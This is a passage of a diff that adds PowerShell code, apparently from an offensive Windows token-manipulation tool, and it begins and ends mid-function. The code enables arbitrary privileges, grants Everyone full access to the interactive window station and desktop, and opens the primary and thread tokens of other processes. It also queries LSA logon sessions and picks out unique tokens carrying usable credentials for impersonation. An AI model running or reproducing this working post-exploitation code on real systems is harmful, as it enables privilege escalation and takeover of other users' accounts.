+ } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL + function Enable-SeAssignPrimaryTokenPrivilege + { + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + } + + + #Enable SeSecurityPrivilege, needed to query security information for desktop DACL + function Enable-Privilege + { + Param( + [Parameter()] + [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", + "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", + "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", + "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", + "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", + "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", + "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", + "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] + [String] + $Privilege + ) + + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + Write-Verbose "Attempting to enable privilege: $Privilege" + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + Write-Verbose "Enabled privilege: $Privilege" + } + + + #Change the ACL of the WindowStation and Desktop + function Set-DesktopACLs + { + Enable-Privilege -Privilege SeSecurityPrivilege + + #Change the privilege for the current window station to allow full privilege for all users + $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") + $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) + + if ($hWinsta -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hWinsta + $CloseHandle.Invoke($hWinsta) | Out-Null + + #Change the privilege for the current desktop to allow full privilege for all users + $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) + if ($hDesktop -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hDesktop + $CloseHandle.Invoke($hDesktop) | Out-Null + } + + + function Set-DesktopACLToAllowEveryone + { + Param( + [IntPtr]$hObject + ) + + [IntPtr]$ppSidOwner = [IntPtr]::Zero + [IntPtr]$ppsidGroup = [IntPtr]::Zero + [IntPtr]$ppDacl = [IntPtr]::Zero + [IntPtr]$ppSacl = [IntPtr]::Zero + [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero + #0x7 is window station, change for other types + $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) + if ($retVal -ne 0) + { + Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" + } + + if ($ppDacl -ne [IntPtr]::Zero) + { + $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) + + #Add all users to acl + [UInt32]$RealSize = 2000 + $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) + $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) + if (-not $Success) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + #For user "Everyone" + $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) + $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) + $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) + $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero + $TrusteeObj.MultipleTrusteeOperation = 0 + $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID + $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP + $TrusteeObj.ptstrName = $pAllUsersSid + + #Give full permission + $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) + $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) + $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) + $ExplicitAccess.grfAccessPermissions = 0xf03ff + $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS + $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE + $ExplicitAccess.Trustee = $TrusteeObj + + [IntPtr]$NewDacl = [IntPtr]::Zero + + $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) + if ($RetVal -ne 0) + { + Write-Error "Error calling SetEntriesInAclW: $RetVal" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) + + if ($NewDacl -eq [IntPtr]::Zero) + { + throw "New DACL is null" + } + + #0x7 is window station, change for other types + $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) + if ($RetVal -ne 0) + { + Write-Error "SetSecurityInfo failed. Return value: $RetVal" + } + + $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null + } + } + + + #Get the primary token for the specified processId + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + function Get-ThreadToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ThreadId + ) + + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + + $RetStruct = New-Object PSObject + [IntPtr]$hThreadToken = [IntPtr]::Zero + + $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) + if ($hThread -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists + { + Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated + ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed + { + Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + Write-Verbose "Successfully queried thread token" + } + + #Close the handle to hThread (the thread handle) + if (-not $CloseHandle.Invoke($hThread)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hThread = [IntPtr]::Zero + } + + $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken + return $RetStruct + } + + + #Gets important information about the token such as the logon type associated with the logon + function Get-TokenInformation + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + $ReturnObj = $null + + $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) + [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" + } + else + { + $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) + + #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) + + [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero + $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) + if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) + { + Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" + } + else + { + $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) + if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and + $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) + { + #Get the username and domainname associated with the token + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) + + #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) + #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account + #results in querying the domain controller which is unwanted. + if ($Username -ieq "$($env:COMPUTERNAME)`$") + { + [UInt32]$Size = 100 + [UInt32]$NumUsernameChar = $Size / 2 + [UInt32]$NumDomainChar = $Size / 2 + [UInt32]$SidNameUse = 0 + $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) + + if ($Success) + { + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) + $UsernameBuffer = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) + $DomainBuffer = [IntPtr]::Zero + } + + $ReturnObj = New-Object PSObject + $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain + $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username + $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken + $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType + + + #Query additional info about the token such as if it is elevated + $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false + + $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) + $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" + } + else + { + $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) + if ($TokenElevation.TokenIsElevated -ne 0) + { + $ReturnObj.IsElevated = $true + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) + + + #Query the token type to determine if the token is a primary or impersonation token + $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" + + [UInt32]$TokenTypeSize = 4 + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) + switch($TokenType) + { + 1 {$ReturnObj.TokenType = "Primary"} + 2 {$ReturnObj.TokenType = "Impersonation"} + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + + #Query the impersonation level if the token is an Impersonation token + if ($ReturnObj.TokenType -ieq "Impersonation") + { + $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" + + [UInt32]$ImpersonationLevelSize = 4 + [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) + switch ($ImpersonationLevel) + { + 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } + 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } + 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } + 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) + } + + + #Query the token sessionid + $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" + + [UInt32]$TokenSessionIdSize = 4 + [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) + $ReturnObj.SessionID = $TokenSessionId + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) + + + #Query the token privileges + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() + + [UInt32]$TokenPrivilegesSize = 1000 + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + + #Loop through each privilege + [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) + $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) + { + $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) + + $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) + + #Lookup privilege name + [UInt32]$PrivilegeNameSize = 60 + $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) + $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid + + $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" + } + $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) + + #Get the privilege attributes + $PrivilegeStatus = "" + $Enabled = $false + + if ($LuidAndAttribute.Attributes -eq 0) + { + $Enabled = $false + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. + { + Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " + } + + if ($Enabled) + { + $ReturnObj.PrivilegesEnabled += ,$PrivilegeName + } + else + { + $ReturnObj.PrivilegesAvailable += ,$PrivilegeName + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + + } + else + { + Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" + } + + #Free LogonSessionData + $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) + $LogonSessionDataPtr = [IntPtr]::Zero + if ($ntstatus -ne 0) + { + Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" + } + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + $LuidPtr = [IntPtr]::Zero + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) + $TokenStatsPtr = [IntPtr]::Zero + + return $ReturnObj + } + + + #Takes an array of TokenObjects built by the script and returns the unique ones + function Get-UniqueTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [Object[]] + $AllTokens + ) + + $TokenByUser = @{} + $TokenByEnabledPriv = @{} + $TokenByAvailablePriv = @{} + + #Filter tokens by user + foreach ($Token in $AllTokens) + { + $Key = $Token.Domain + "\" + $Token.Username + if (-not $TokenByUser.ContainsKey($Key)) + { + #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because + # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. + if ($Token.LogonType -ne 3 -and + $Token.Username -inotmatch "^DWM-\d+$" -and + $Token.Username -inotmatch "^LOCAL\sSERVICE$") + { + $TokenByUser.Add($Key, $Token) + } + } + else + { + #If Tokens have equal elevation levels, compare their privileges. + if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) + { + if 